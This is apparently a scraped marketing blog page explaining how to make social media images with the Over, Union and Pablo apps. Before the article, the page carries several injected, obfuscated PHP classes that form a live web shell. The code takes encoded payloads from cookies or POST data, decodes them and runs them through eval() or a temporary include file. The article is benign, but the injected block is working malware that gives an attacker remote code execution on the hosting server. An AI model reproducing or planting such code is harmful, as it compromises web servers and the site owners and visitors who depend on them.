$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Image Tools for Marketers on a Budget - CODE Marketing: Blog
BrandingCreativeWeb Design & Development

Image Tools for Marketers on a Budget

Do you need to create professional-looking images for your social media marketing? Looking for mobile and desktop tools to help?

In this article, you’ll discover three affordable image design tools for marketers.

#1: Create the Perfectly Sized Image for Every Social Network

Over (available for iOS and Android) is a powerful image tool that lets you create stunning graphics in minutes. It’s available in both free and paid versions ($99.99/year for iOS and $39.99/year for Android, both with a 7-day free trial). The features in the free version are more than sufficient for creating attractive social media images.

After you install Over on your mobile device, launch the app and tap the + button to create a new project. If you have the paid version of the app, you can choose one of the featured layouts or design your own background. This walkthrough will focus on options available in the free version of Over.

Use Over to create images for social media, step 1.

When your new project opens, select a background for your design. You can choose an image or video from your camera roll or opt for a transparent, white, or black canvas. A transparent background will give you the most versatility.

Use Over to create images for social media, step 2.

On the next screen, choose a size for your project. At the bottom of the screen, you’ll see a variety of social media presets—Instagram, Facebook, Twitter, Snapchat, Pinterest, and YouTube—iPhone backgrounds, and more. To set a custom canvas size, tap the image dimensions box at the top of the screen and enter a custom width and height. Tap the checkmark icon to save your changes as you design your image.

Use Over to create images for social media, step 3.

To add an image to your design, tap Image at the bottom of the screen. Then select a photo from your camera roll or a royalty-free image from Unsplash or Pixabay. Use the search box to find a stock image that fits your brand.

After you make your image selection, you’ll see editing tools at the bottom of the screen that let you apply a filter to the photo, tweak exposure and contrast, adjust opacity, crop, and more.

Use Over to create images for social media, step 4.

If you’re using the paid version of Over, you can automatically search your phone for any PNG files you’ve saved, making it easy to include a logo or custom image file in your design. If you don’t have an image saved to your phone, you can search for images on the Google tab.

Use Over to create images for social media, step 5.

To add text to your design, tap the Text tool at the bottom of the screen and type in your text. Below the text input box, you’ll find dozens of fonts to choose from. Tap the chevron icon on the left to access the font library with additional free and paid options.

After you save your text, use the tools at the bottom of the screen to tweak the text. Experiment with some of the text functionality. For instance, try applying a shadow to dark text on a light background, or adjust the alignment or opacity to make it stand out.

If you want the text color to match one of your brand colors, select the Color tool. Then tap the color wheel icon and type in the color code you want to use. Over also offers a custom color picker that allows you to match the text color to another shade in the photo to give your graphic a consistent look that’s appealing to the eye. Play around with your color options so your photo speaks perfectly to your audience.

When you’re ready to share your photo, tap the arrow button at the top right of the screen and select an option from the pop-up menu. Over lets you save your image directly to your phone with no watermark. If you upgrade to the pro version, you can schedule a post to your social account.

Use Over to create images for social media, step 7.

Pro Tip: Over also allows you to customize videos to a degree. You can add graphic overlays like your logo or a call to action directly on top of videos. This functionality is particularly useful for creating Instagram stories.

#2: Remove Backgrounds and Combine Photos

Union (available for iOS for free, with in-app purchases available) lets you remove parts of existing images to merge them. If you’ve ever wanted to tweak a sunset, blend in a new background, or combine two images, Union is the app for you.

Use Union App to create images for social media, step 1.

After you launch the app, tap New to create a new project. In the pop-up menu, tap Background.

Use Union App to create images for social media, step 2.

The background you choose will form the bottom layer of your design. Tap Photo and select an image from your camera roll. Then adjust the image dimensions if needed. Alternatively, start with a colored or blank background if you plan to create a PNG. This is a great option for removing the background noise from a logo or headshot to use on top of another image.

After you select your background, tap the menu button in the upper-left corner of the screen.

Next, tap the Foreground option and select an image. The foreground is where you’ll be tinkering and editing to create something unique. This layer exists on top of your background so select an image that will create an interesting effect.

You can drag the foreground image to reposition it on the screen, pinch to scale, and use two fingers to rotate it.

Use Union App to create images for social media, step 3.

After you select the foreground image, tap the menu button again and then tap the Mask option to start making alterations to it.

You can erase parts of your photo manually with the Eraser tool, which has a variety of sizes and options to choose from. Use your finger to brush away parts of the foreground image. Pinch to zoom in for details.

To erase the background noise in one click, select the Magic Wand tool instead. Tap the area you want to remove and then drag the slider to fine-tune your edits. Use the Draw tool if you need to restore portions of the foreground image.

In the photo below, we’re erasing the white background of the apple so the image will sit cleanly on the streets of New York City.

Use Union App to create images for social media, step 4.

If you’re happy with your image, you can flatten all of the layers into a single image. This allows you to add even more layers to your photo and start the process all over again.

Use Union App to create images for social media, step 5.

When you’re ready to share your masterpiece with the world, tap the Export option to save the image to your camera roll, open it in Instagram, or share it.

#3: Produce Quick Graphics

Pablo by Buffer is a free web-based image tool that allows you to create graphics for your social media accounts. Its customization options are somewhat limited, but it’s perfect if you need a quick image for a tweet, Facebook post, Pinterest pin, or Instagram post. The main benefits of Pablo are its speed and ease of use.

On the left side of the screen, search through 600,000+ images from Pablo, Unsplash, and Pixabay, and then select an image to add it to your canvas. Or click the Upload Image button to upload your own file for even more customization.

Use Pablo to create images for social media, step 1.

Once you’ve selected the perfect background, choose an image size on the right side of the screen. Pablo offers three image size presets: Pinterest, Instagram, and Facebook/Twitter.

Pro Tip: For Facebook images, choose the Instagram photo size to maximize your space in the news feed.

Use Pablo to create images for social media, step 2.

Pablo’s text options aren’t as extensive as those you’ll find with Over, but they’ll do the trick for quick designs. You can choose from more than 20 fonts and adjust the size, alignment, and emphasis. Drag the text to reposition it on the image.

Use Pablo to create images for social media, step 3.

In the Text section on the right side of the screen, you can add a header and caption or choose one of Pablo’s many pre-written quotes.

Use Pablo to create images for social media, step 4.

In the Filters section, you’ll find options to apply contrast, blur, or other filters to make your text stand out on a noisy background. Play around with the filters to find an overlay that suits your image.

Use Pablo to create images for social media, step 5.

Another handy feature is the ability to add a logo to your image to keep your brand front and center. Note that you can only upload one image to a single graphic.

Use Pablo to create images for social media, step 6.

When your image looks perfect, you can share or download it directly from Pablo. Send it to your Buffer, Facebook, Twitter, Pinterest, or Instagram account, or save it locally and upload it at a later time. Remember that because Pablo is a web-based tool, you’ll lose your work if you reload the page.

Pro Tip: Use one of Pablo’s templates to get your creative juices flowing. Click Templates at the top of the screen to view templates for quotes, announcements, promotions, and outreach. Simply select a template and start editing. You’ll still have access to all of the customizations mentioned above.

Show More

Related Articles